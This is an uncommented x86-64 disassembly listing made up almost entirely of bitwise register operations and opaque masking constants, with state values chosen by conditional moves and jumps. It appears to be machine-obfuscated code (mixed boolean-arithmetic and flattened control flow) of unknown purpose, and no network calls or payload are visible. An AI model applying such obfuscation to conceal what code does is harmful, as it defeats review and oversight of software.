mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
mov r8d, ebx
and r8b, r10b
mov edx, r8d
xor dl, 1
xor r8b, bl
or dl, r10b
xor dl, 1
or dl, r8b
mov eax, r10d
or al, bl
xor al, 1
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
xor al, 1
and al, cl
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
xor bl, r12b
and bl, r12b
xor r10b, r12b
xor bl, 1
xor r10b, 1
mov ecx, ebx
xor cl, r10b
or r10b, bl
xor r10b, 1
or r10b, cl
mov ecx, r10d
xor cl, 1
and cl, r10b
xor cl, 1
mov edx, r10d
xor dl, cl
or cl, r10b
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, eax
xor dl, 1
and cl, dl
or dl, bl
xor dl, 1
and bl, al
or bl, cl
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov byte [rbp - 0x2b], bl
mov eax, edi
and al, r11b
mov ecx, eax
xor cl, 1
mov r8d, edi
xor r8b, al
or cl, r11b
xor cl, 1
or cl, r8b
mov ebx, ecx
xor bl, 1
or bl, cl
mov edx, ebx
xor dl, 1
mov ecx, ebx
and cl, dl
mov r9d, ebx
xor r9b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r9b
mov r10d, esi
xor r10b, 1
and al, dil
or al, r8b
xor al, cl
xor al, 1
xor bl, dil
or dl, r11b
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov r9d, edx
mov r15d, esi
and r15b, r10b
mov eax, esi
and al, r15b
mov r12d, esi
xor r12b, r15b
or r12b, al
mov r8d, r12d
xor r8b, 1
mov ecx, r8d
or cl, r12b
mov ebx, ecx
xor bl, 1
mov eax, ecx
and al, bl
mov edx, ecx
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
xor r15b, 1
mov edx, r10d
xor dl, r15b
or r15b, r10b
xor r15b, 1
or r15b, dl
xor r15b, al
mov eax, ecx
and al, sil
xor cl, sil
or cl, al
mov eax, ecx
xor al, r15b
xor r15b, 1
or r15b, cl
xor al, 1
xor r15b, 1
or r15b, al
mov eax, r9d
mov byte [rbp - 0x2a], r9b
mov edx, r9d
xor dl, 1
mov byte [rbp - 0x29], dl
mov ecx, r9d
and cl, dl
xor al, cl
xor cl, 1
mov byte [rbp - 0x3a], cl
or dl, cl
xor dl, 1
mov byte [rbp - 0x39], dl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
xor r11b, dil
xor r11b, 1
or r11b, dil
mov ecx, r15d
xor cl, 1
mov byte [rbp - 0x3d], cl
mov ebx, r15d
and bl, cl
mov byte [rbp - 0x3c], bl
mov ecx, r15d
and cl, bl
mov edx, r15d
xor dl, bl
or dl, cl
mov r9d, edx
xor r9b, 1
mov ebx, r9d
xor bl, dl
or r9b, dl
xor r9b, 1
or r9b, bl
mov edx, r9d
xor dl, 1
and r9b, dl
mov ebx, edx
and bl, r9b
xor r9b, dl
or r9b, bl
and r8b, r10b
and sil, r12b
or r8b, sil
xor r12b, r8b
and r12b, r8b
mov r8d, eax
xor r8b, 1
mov r13d, r8d
and r13b, al
mov ecx, r8d
and cl, r13b
xor r13b, r8b
or r13b, cl
mov r10d, r11d
xor r10b, 1
mov esi, r11d
and sil, r10b
mov ebx, r10d
xor bl, r11b
xor r11b, sil
xor sil, 1
or sil, r10b
xor sil, 1
or sil, r11b
xor r8b, al
and r8b, al
and bl, r10b
mov r14d, r13d
xor r14b, 1
mov edi, esi
xor dil, 1
mov r10d, r13d
and r10b, r14b
mov eax, r14d
and al, dil
mov byte [rbp - 0x3b], al
mov r11d, edi
xor dil, r14b
mov eax, r14d
or al, r13b
mov r14d, eax
xor r14b, 1
and r14b, al
mov ecx, eax
and cl, r14b
xor r14b, al
or r14b, cl
mov ecx, r8d
xor cl, 1
and r8b, cl
mov edx, ecx
and dl, r8b
xor r8b, cl
or r8b, dl
xor r8b, r14b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
xor cl, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
or r11b, sil
xor bl, 1
mov eax, r11d
or al, bl
xor bl, r11b
xor al, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, 1
or al, cl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, r10d
and al, r13b
xor r10b, r13b
or r10b, al
xor r10b, sil
or dil, byte [rbp - 0x3b]
xor r10b, 1
mov eax, r10d
xor al, dil
or r10b, dil
xor r10b, 1
or r10b, al
mov eax, r10d
xor al, 1
and r10b, al
mov edx, eax
and dl, r10b
xor r10b, al
or r10b, dl
mov edx, ecx
xor dl, 1
and dl, r10b
xor r10b, 1
mov ebx, ecx
xor bl, r10b
and bl, cl
and r10b, cl
or r10b, dl
xor bl, 1
xor r10b, 1
mov ecx, ebx
xor cl, r10b
or r10b, bl
xor r10b, 1
or r10b, cl
mov ecx, r9d
xor cl, 1
mov edx, r12d
xor dl, cl
xor dl, 1
mov ebx, r12d
xor bl, r9b
or r9b, r12b
xor r9b, 1
or r9b, dl
and bl, r12b
or r12b, cl
xor r12b, 1
mov ecx, ebx
and cl, r12b
xor r12b, bl
or r12b, cl
xor r9b, 1
xor r12b, r9b
mov edx, r12d
xor dl, 1
and dl, r9b
mov ecx, edx
and cl, r12b
xor dl, r12b
or dl, cl
mov r8d, r10d
xor r8b, 1
mov r9d, r8d
or r9b, r10b
mov ebx, r9d
xor bl, 1
and bl, r10b
or r10b, r9b
and r9b, r8b
or r9b, bl
mov ebx, r10d
xor bl, r9b
xor r9b, 1
or r9b, r10b
xor bl, 1
xor r9b, 1
or r9b, bl
mov r8d, edx
xor r8b, 1
mov ebx, r8d
and bl, dl
mov eax, ebx
xor al, 1
xor bl, r8b
or al, dl
xor al, 1
or al, bl
mov ecx, edx
or cl, r8b
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov r10d, edx
xor r10b, cl
or dl, cl
xor dl, 1
or dl, r10b
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
and dl, al
or dl, cl
mov eax, r8d
xor al, bl
or bl, r8b
xor bl, 1
or bl, al
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
xor r9b, 1
mov r10d, r9d
xor r10b, bl
xor r10b, 1
and r10b, bl
or r9b, bl
xor r10b, 1
mov ecx, r10d
xor cl, r9b
or r10b, r9b
xor r10b, 1
or r10b, cl
mov al, byte [rbp - 0x3a]
mov dl, byte [rbp - 0x29]
xor al, dl
or al, byte [rbp - 0x39]
mov r8d, eax
mov r11d, eax
xor r8b, 1
mov sil, byte [rbp - 0x3c]
xor sil, 1
mov al, byte [rbp - 0x3d]
mov ecx, eax
xor cl, sil
or sil, al
mov ebx, eax
xor sil, 1
or sil, cl
mov eax, r8d
or al, r11b
mov cl, byte [rbp - 0x2a]
xor cl, dl
and cl, dl
xor r15b, bl
and r15b, bl
mov ebx, ecx
xor bl, 1
and cl, bl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, al
mov edx, eax
and dl, bl
xor bl, al
mov r9d, esi
xor r9b, 1
xor cl, 1
or bl, dl
mov eax, ecx
xor al, bl
or bl, cl
mov edx, r9d
or dl, sil
xor bl, 1
or bl, al
xor r15b, 1
mov eax, edx
or al, r15b
xor r15b, dl
xor r15b, 1
mov edx, eax
xor dl, r15b
or r15b, al
xor r15b, 1
or r15b, dl
mov edx, r15d
xor dl, bl
and r15b, dl
and dl, bl
mov eax, r15d
and al, dl
xor dl, r15b
mov ecx, r9d
xor r9b, r8b
or dl, al
and cl, r11b
mov ebx, esi
and r8b, sil
or r8b, cl
or bl, r11b
xor bl, 1
or bl, r9b
xor bl, 1
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
mov eax, ebx
mov r8d, edx
xor r8b, 1
mov ecx, edx
and cl, r8b
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov ebx, ecx
and cl, al
xor r8b, al
xor al, 1
xor bl, 1
and bl, al
or cl, bl
or al, dl
xor al, 1
or al, r8b
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
or al, cl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and al, r10b
xor r10b, 1
mov edx, ecx
and dl, r10b
or al, dl
xor al, 1
or al, r10b
xor al, 1
xor r10b, cl
xor r10b, al
mov ecx, r10d
xor cl, 1
and al, cl
mov esi, eax
xor sil, 1
xor al, r10b
or sil, cl
xor sil, 1
or sil, al
mov dl, byte [rbp - 0x2b]
mov r8d, edx
xor r8b, 1
mov r9d, r8d
and r9b, dl
mov r11d, r8d
xor r11b, r9b
xor r9b, 1
mov r10d, edx
or r10b, r9b
xor r10b, 1
or r11b, r10b
xor r9b, dl
or dl, r8b
mov ebx, edx
xor bl, 1
mov ecx, r11d
xor cl, dl
mov eax, edx
and al, bl
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
xor al, r11b
xor al, 1
xor cl, 1
or bl, r11b
xor bl, 1
or bl, cl
xor bl, 1
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
or r9b, r10b
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, esi
xor al, 1
mov ecx, ebx
xor cl, sil
and cl, bl
or bl, al
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, sil
or bl, sil
xor bl, 1
or bl, cl
mov ecx, esi
or cl, al
xor sil, cl
or cl, al
mov eax, esi
xor al, cl
or cl, sil
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
xor dl, al
xor al, 1
or al, cl
xor al, 1
or al, dl
xor al, r9b
xor r8b, al
xor al, r8b
xor al, 1
and al, r8b
mov ecx, eax
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ebx
xor dl, al
xor dl, 1
and dl, al
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov esi, eax
xor sil, 1
mov ebx, eax
and bl, sil
mov edx, ebx
xor dl, 1
xor bl, al
or dl, sil
xor dl, 1
or dl, bl
xor dl, cl
mov eax, ecx
and al, sil
xor sil, cl
or sil, al
mov eax, edx
xor al, sil
or sil, dl
xor sil, 1
or sil, al
mov al, byte [rbp - 0x2c]
mov r11d, eax
mov dil, byte [rbp - 0x23]
xor r11b, dil
and al, r11b
and r11b, dil
mov ecx, eax
and cl, r11b
xor r11b, al
or r11b, cl
xor r11b, 1
mov ecx, r11d
mov al, byte [rbp - 0x30]
and cl, al
xor r11b, al
mov edx, eax
or r11b, cl
mov r8d, r11d
xor r8b, 1
mov al, byte [rbp - 0x34]
mov cl, byte [rbp - 0x38]
xor al, cl
and al, cl
mov cl, byte [rbp - 0x28]
xor cl, al
mov ebx, ecx
xor bl, 1
and cl, al
mov eax, ecx
and al, bl
xor cl, bl
or cl, al
or dil, cl
xor cl, 1
or cl, dl
xor cl, 1
xor dil, 1
mov eax, ecx
and al, dil
xor dil, cl
or dil, al
mov r9d, edi
xor r9b, 1
mov r10d, edi
and r10b, r9b
mov ecx, r10d
xor cl, 1
mov ebx, edi
or bl, cl
or cl, r9b
xor r9b, r10b
xor bl, 1
or bl, r9b
mov eax, r11d
or al, r8b
mov r9d, ebx
xor r9b, 1
or r9b, r8b
and r8b, al
xor al, 1
mov edx, eax
xor dl, r11b
and dl, al
and al, r11b
or al, r8b
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov edx, eax
xor dl, 1
xor r10b, dil
xor cl, 1
or cl, r10b
and dl, cl
xor cl, 1
and cl, al
or cl, dl
xor bl, r11b
mov eax, r9d
xor al, bl
xor bl, 1
xor al, 1
or bl, r9b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ecx
xor al, 1
xor cl, bl
xor bl, 1
or bl, al
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
mov eax, r9d
and al, cl
mov r8d, r9d
xor r8b, al
mov edx, r8d
and dl, al
and r9b, al
xor al, 1
and al, cl
or al, r9b
xor dl, 1
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
and dl, al
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
xor dl, 1
or r9b, r8b
mov eax, r9d
xor al, 1
mov ebx, r9d
and bl, al
mov ecx, ebx
and cl, r9b
xor bl, r9b
or bl, cl
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
mov r8d, edx
or r8b, cl
xor r8b, 1
xor cl, dl
or r8b, cl
mov r9d, r8d
xor r9b, 1
or bl, dl
xor bl, 1
and cl, dl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
mov edx, r9d
and dl, r8b
and cl, al
mov ebx, edx
and bl, r9b
xor dl, r9b
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
xor cl, dl
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov edx, eax
xor dl, bl
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
or bl, cl
and dl, al
mov ecx, edx
xor cl, 1
mov eax, ebx
and dl, cl
mov r8d, ebx
mov r9d, ecx
and r9b, dl
xor dl, cl
mov r10d, ebx
and r10b, cl
xor cl, bl
xor bl, 1
and al, bl
xor r8b, al
xor al, 1
or al, bl
xor al, 1
or al, r8b
or dl, r9b
xor dl, al
xor dl, 1
or cl, r10b
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov eax, ebx
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
or al, dl
mov r8d, ecx
and r8b, al
xor al, 1
mov edx, eax
xor dl, bl
and dl, al
and al, bl
or al, r8b
mov r8d, edx
xor r8b, 1
xor dl, al
xor al, 1
or al, r8b
xor al, 1
or al, dl
mov edi, eax
xor dil, 1
and bl, al
or al, cl
xor al, 1
and dil, cl
or dil, bl
mov ecx, eax
and cl, dil
xor dil, al
or dil, cl
mov r8d, edi
xor r8b, 1
mov r10d, esi
xor r10b, 1
mov eax, esi
or al, r10b
xor al, r10b
and r10b, al
mov ecx, eax
xor cl, r10b
xor r10b, 1
xor cl, 1
or r10b, al
xor r10b, 1
or r10b, cl
mov r11d, r10d
xor r11b, 1
mov eax, edi
and al, r8b
mov ecx, edi
and cl, al
xor al, dil
or al, cl
mov r9d, eax
xor r9b, 1
mov r15d, edi
or r15b, r8b
mov ecx, r15d
xor cl, 1
mov ebx, eax
and bl, r9b
mov edx, ecx
and dl, r15b
mov r14d, ebx
and r14b, al
xor bl, al
or bl, r14b
mov eax, edx
and al, cl
xor dl, cl
or dl, al
xor dl, bl
mov eax, r9d
and al, r15b
xor r15b, r9b
or r15b, al
xor r15b, 1
mov eax, edx
and al, r15b
xor r15b, dl
or r15b, al
mov r9d, r15d
xor r9b, 1
mov byte [rbp - 0x28], r11b
mov eax, r11d
and al, r10b
mov ecx, r11d
and cl, al
xor al, r11b
or al, cl
mov edx, eax
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov r12d, ecx
xor r12b, 1
mov ebx, r15d
xor bl, r9b
mov edx, r15d
or dl, r9b
xor dl, 1
or dl, bl
mov r14d, edx
xor r14b, 1
xor dil, r8b
xor r8b, dil
xor r8b, 1
and r8b, dil
mov ebx, ecx
xor bl, sil
or cl, sil
xor cl, 1
or cl, bl
mov edi, ecx
xor dil, 1
and bl, sil
or r12b, sil
mov eax, r12d
xor al, bl
xor bl, 1
xor al, 1
or bl, r12b
xor bl, 1
or bl, al
mov esi, ebx
xor sil, 1
and bl, cl
or cl, sil
xor cl, 1
and sil, dil
or sil, bl
mov eax, ecx
and al, sil
xor sil, cl
or sil, al
mov edi, edx
and dil, r14b
mov eax, edx
and al, dil
xor dil, dl
or dil, al
mov r13d, r8d
xor r13b, 1
mov ecx, r13d
and cl, r8b
mov r12d, edi
xor r12b, 1
mov ebx, r12d
or bl, dil
mov eax, ebx
xor al, 1
and r14b, bl
and al, dl
or al, r14b
mov r14d, ebx
and r14b, dl
xor bl, dl
mov edx, r13d
xor dl, cl
xor cl, 1
or bl, r14b
xor bl, 1
mov r14d, eax
and r14b, bl
xor bl, al
mov r11d, r8d
or r11b, cl
xor r11b, 1
or dl, r11b
or bl, r14b
mov r14d, edx
xor r14b, 1
xor cl, r8b
mov eax, r14d
or al, dl
or cl, r11b
xor cl, al
mov r8d, eax
and r8b, r13b
xor al, r13b
or al, r8b
mov r8d, eax
xor r8b, cl
xor cl, 1
or cl, al
xor r8b, 1
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, 1
or al, bl
xor bl, 1
or bl, cl
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
and dl, r12b
or r12b, r14b
xor r12b, 1
and r14b, dil
or r14b, dl
mov eax, r12d
and al, r14b
xor r14b, r12b
or r14b, al
mov eax, r14d
xor al, 1
mov ecx, ebx
xor cl, 1
and al, cl
or cl, r14b
xor cl, 1
and r14b, bl
or r14b, al
mov eax, ecx
and al, r14b
xor r14b, cl
or r14b, al
mov r8d, esi
xor r8b, 1
mov ebx, esi
or bl, r8b
mov r11d, ebx
mov edx, ebx
mov eax, esi
and al, bl
xor bl, sil
and sil, r8b
xor sil, 1
mov ecx, r8d
xor cl, sil
or sil, r8b
xor r11b, 1
and dl, r11b
xor sil, 1
or sil, cl
xor dl, 1
mov ecx, r11d
xor cl, dl
or dl, r11b
xor dl, 1
or dl, cl
mov ecx, esi
xor cl, 1
and cl, dl
xor dl, 1
and dl, sil
or dl, cl
mov ecx, r14d
xor cl, 1
or bl, al
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
mov edx, r14d
or dl, cl
xor cl, dl
or bl, al
mov eax, r14d
and al, dl
xor dl, r14b
xor cl, 1
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
xor bl, 1
mov r8d, ebx
xor r8b, dl
xor r8b, 1
and r8b, dl
or bl, dl
mov ecx, ebx
xor cl, r8b
xor r8b, 1
or r8b, bl
xor cl, 1
xor r8b, 1
or r8b, cl
mov ecx, r10d
xor cl, r9b
mov al, byte [rbp - 0x28]
xor al, cl
and al, cl
or r9b, r10b
xor r9b, 1
xor r15b, r10b
and r15b, r10b
mov ecx, r9d
and cl, r15b
xor r15b, r9b
or r15b, cl
mov edx, r15d
xor dl, 1
mov ecx, r15d
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
or r15b, al
mov ebx, eax
xor bl, dl
xor bl, 1
xor r15b, 1
or r15b, bl
mov edx, r15d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r15b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov eax, r8d
xor al, cl
or cl, r8b
xor r8b, 1
xor al, 1
or al, r8b
or r8b, dl
mov edx, ecx
xor dl, r8b
or r8b, cl
xor r8b, 1
or r8b, dl
mov ecx, r8d
and r8b, al
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
and dl, al
and cl, al
or cl, r8b
mov ebx, ecx
xor bl, dl
test cl, 1
mov eax, 0xc73a5162
mov ecx, 0x5dfbf2e6
cmovne eax, ecx
test dl, 1
mov edx, 0xc73a5162
cmove eax, edx
test bl, 1
jmp 0x1400160ec
mov eax, 0x79aefc02
cmp eax, 0xf65f02e7
jg 0x140001cdb
jmp 0x140004d70
mov eax, dword [0x1400508d0]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov edi, ecx
and eax, 0xf160103c
mov ecx, edx
mov esi, edx
and ecx, 0xe9fefc3
or ecx, eax
mov eax, ecx
xor eax, 0xe182703
xor ecx, 0xd0000034
and ecx, 0xd087c8f4
and eax, 0x2f78370b
or eax, ecx
mov ecx, eax
xor ecx, 0x820004
xor eax, 0x200
and ecx, 0x2e23007
and eax, 0x4000ca20
or eax, ecx
mov edx, eax
xor edx, 0x4000ca20
xor eax, 0xbfff35df
mov ebx, edi
mov r8d, edi
mov dword [rbp - 0x30], edi
and ebx, 0x42e2fa27
mov ecx, esi
xor ecx, 0xbd1d05d8
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, eax
or eax, ecx
not eax
and ecx, edx
or ecx, ebx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
mov edx, ecx
xor edx, 0xd561af72
and edx, ecx
not ecx
and ecx, 0xd08271f6
and eax, 0x2f7d8e09
or eax, ecx
mov ecx, eax
xor ecx, 0x4018c00
xor eax, 0xd0002172
or eax, 0x2a9e508d
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x597a4388
and ecx, 0x8401ac72
or ecx, edi
or eax, ebx
and ebx, 0x597a4388
and edx, 0xa685bc77
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x687caaaa
and eax, 0x97835555
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x49f9a2cf
and eax, 0xb6065d30
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xb6065d30
and eax, 0x49f9a2cf
or eax, ecx
mov edx, eax
not edx
and edx, 0x7a227265
mov ecx, eax
and ecx, 0x85dd8d9a
or ecx, edx
mov edx, ecx
xor edx, 0x85dd8d9a
mov ebx, ecx
xor ebx, 0x57d1e91f
and ebx, edx
and eax, 0xd20c6485
mov edi, ebx
and edi, eax
xor eax, ebx
or eax, edi
mov ebx, eax
and ebx, 0xd20c6484
not eax
and eax, 0x2df39b7b
or eax, ebx
xor ecx, 0x60006200
and ecx, 0xe0c5e39a
mov ebx, edx
and ebx, 0x1f3a1c65
or ebx, ecx
xor ebx, 0x1f3a1c64
and edx, 0xfffffffe
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x3b67b4cc
and edx, 0xc4984b33
or edx, ecx
mov ebx, edx
xor ebx, 0x80800a23
mov ecx, eax
not ecx
xor edx, 0x3b67b4cc
mov edi, ecx
and edi, 0x655861d4
and eax, 0x9aa79e2b
or eax, edi
or ecx, edx
and edx, 0x655861d4
and ebx, 0x9aa79e2b
or ebx, edx
xor ebx, eax
not ecx
or ecx, ebx
mov eax, ecx
not eax
mov edx, eax
and edx, 0x406824ac
and eax, ecx
and ecx, 0xbf97db53
or ecx, edx
mov edx, ecx
xor edx, 0x1e128812
xor ecx, 0x406824ac
mov ebx, eax
not ebx
mov edi, ecx
and edi, 0xa1a55365
and edx, 0x5e5aac9a
or edx, edi
or ecx, ebx
and ebx, 0xa1a55365
and eax, 0x5e5aac9a
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x516da8b2
and ecx, 0xae92574d
or ecx, eax
mov r13d, ecx
xor r13d, 0xa021040
xor ecx, 0x92
and ecx, 0xa490479f
and r13d, 0x5b6fb860
or r13d, ecx
mov r9d, r13d
xor r9d, 0xa490479f
xor r13d, 0x5b6fb860
mov ecx, esi
or ecx, 0x23c4568b
mov edx, ecx
not edx
mov ebx, esi
xor ebx, 0xdc3ba974
and ebx, esi
mov eax, esi
mov dword [rbp - 0x28], esi
mov edi, ebx
not edi
mov esi, ecx
and esi, 0xae213108
and edx, 0x501a8874
or edx, esi
or ecx, edi
and edi, 0xae213108
and ebx, 0x51decef7
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x23c4568a
and ecx, 0xdc3ba975
or ecx, edx
mov edx, r8d
and edx, 0x4becfab6
mov edi, eax
and edi, 0xb4130549
or edi, edx
mov edx, edi
xor edx, 0xb4130549
xor edi, 0x4becfab6
and edi, ecx
not ecx
and edx, ecx
or edi, edx
not edi
or edi, ecx
mov edx, edi
not edx
mov ecx, r9d
and ecx, 0xb0f291b5
mov eax, r13d
and eax, 0x4f0d6e4a
or eax, ecx
xor eax, 0x4f0d6e4a
mov r12d, r9d
and r12d, r13d
mov ecx, eax
and ecx, r12d
xor r12d, eax
or r12d, ecx
mov eax, edi
and eax, 0x10002025
mov ecx, edx
and ecx, 0xcad1a00
or ecx, eax
xor ecx, 0xcad1a00
mov r15d, edx
and r15d, 0xe352c5da
or r15d, ecx
mov eax, r15d
not eax
and eax, 0x20aeb8df
and r15d, 0xdf514720
or r15d, eax
mov r14d, r15d
xor r14d, 0xc3fc7d05
mov r11d, r12d
not r11d
mov eax, r11d
and eax, 0x406f0f29
mov ecx, r12d
and ecx, 0xbf90f0d6
or ecx, eax
xor ecx, 0x6d09a6f8
mov r8d, ecx
xor r8d, r11d
and r8d, ecx
and r13d, 0x3906d7db
mov eax, r9d
and eax, 0xc6f92824
or eax, r13d
xor eax, 0xeb9f81f5
and r9d, 0xd299562e
or r9d, eax
mov esi, r9d
not esi
xor r15d, 0x3c0382fa
mov eax, r15d
and eax, 0x6cd31cf2
mov r13d, r14d
and r13d, 0x932ce30d
or r13d, eax
and edi, 0xdbeecb40
and edx, 0x241134bf
or edx, edi
mov edi, edx
xor edi, 0x241134bf
xor edx, 0xd2cc4340
and edx, 0xd6dc777a
mov eax, edi
and eax, 0x29238885
or eax, edx
xor eax, 0x4452154
and edi, 0xd299562e
or edi, eax
mov eax, edi
not eax
and eax, 0xbb8422ae
and edi, 0x447bdd51
or edi, eax
mov eax, r8d
mov ebx, r8d
xor ebx, 0xaad1381b
and ebx, r8d
not r8d
and r8d, 0x83b3c163
and eax, 0x7c4c3e9c
or eax, r8d
and r9d, 0x8bdf1050
mov ecx, esi
and ecx, 0x7420efaf
or ecx, r9d
mov r10d, eax
xor r10d, 0x7c4c3e9c
mov edx, eax
xor edx, 0x2962f978
and edx, r10d
mov r9d, edx
and r9d, ebx
xor ebx, edx
or ebx, r9d
mov r9d, ecx
xor r9d, 0x7420efaf
mov edx, ecx
xor edx, 0x210e284b
and edx, r9d
and esi, 0x552ec7e4
mov r8d, edx
and r8d, esi
xor esi, edx
or esi, r8d
mov edx, ebx
not edx
and edx, esi
not esi
and esi, ebx
or esi, edx
xor eax, 0x83b3c163
mov edx, eax
and edx, 0x6bd00c75
and r10d, 0x942ff38a
or r10d, edx
xor ecx, 0x8bdf1050
or eax, ecx
and ecx, 0x6bd00c75
and r9d, 0x942ff38a
or r9d, ecx
xor r9d, r10d
xor r13d, 0xbe4a4adc
or r13d, r15d
not eax
or eax, r9d
not eax
mov ecx, esi
and ecx, eax
xor eax, esi
mov edx, r13d
not edx
or eax, ecx
mov ecx, r13d
and r13d, 0x40a09147
and edx, 0xbf5f6eb8
or edx, r13d
mov esi, edi
xor esi, 0x45b4c10
xor edi, 0xbb8422ae
or ecx, edi
and edi, 0x40a09147
and esi, 0xbf5f6eb8
or esi, edi
mov r13d, dword [rbp - 0x30]
mov r9d, r13d
and r9d, dword [rbp - 0x28]
not ecx
xor esi, edx
mov edx, ecx
and edx, esi
xor esi, ecx
or esi, edx
mov ecx, eax
not ecx
and ecx, 0xe3290908
and eax, 0x1cd6f6f7
or eax, ecx
mov ecx, esi
not ecx
mov r8d, esi
xor r8d, 0xe3290908
and ecx, r8d
and r8d, esi
mov ebx, ecx
and ebx, r8d
xor r8d, ecx
or r8d, ebx
mov ecx, eax
not ecx
and ecx, 0xc7f22d92
and eax, 0x380dd26d
or eax, ecx
mov ecx, r8d
not ecx
and ecx, 0xc7f22d92
and r8d, 0x380dd26d
or r8d, ecx
xor r8d, eax
mov eax, r11d
and eax, 0xdf92c9d1
and r12d, 0x206d362e
or r12d, eax
mov eax, r12d
xor eax, 0x206d362e
and r15d, 0xf601c73a
mov esi, r14d
and esi, 0x9fe38c5
or esi, r15d
xor esi, 0x9fe38c5
xor r12d, 0x625de57b
and r12d, eax
or r11d, 0xbdcf2caa
mov ebx, esi
and ebx, 0xbdcf2caa
and r14d, 0x4230d355
or r14d, ebx
mov ebx, r12d
not ebx
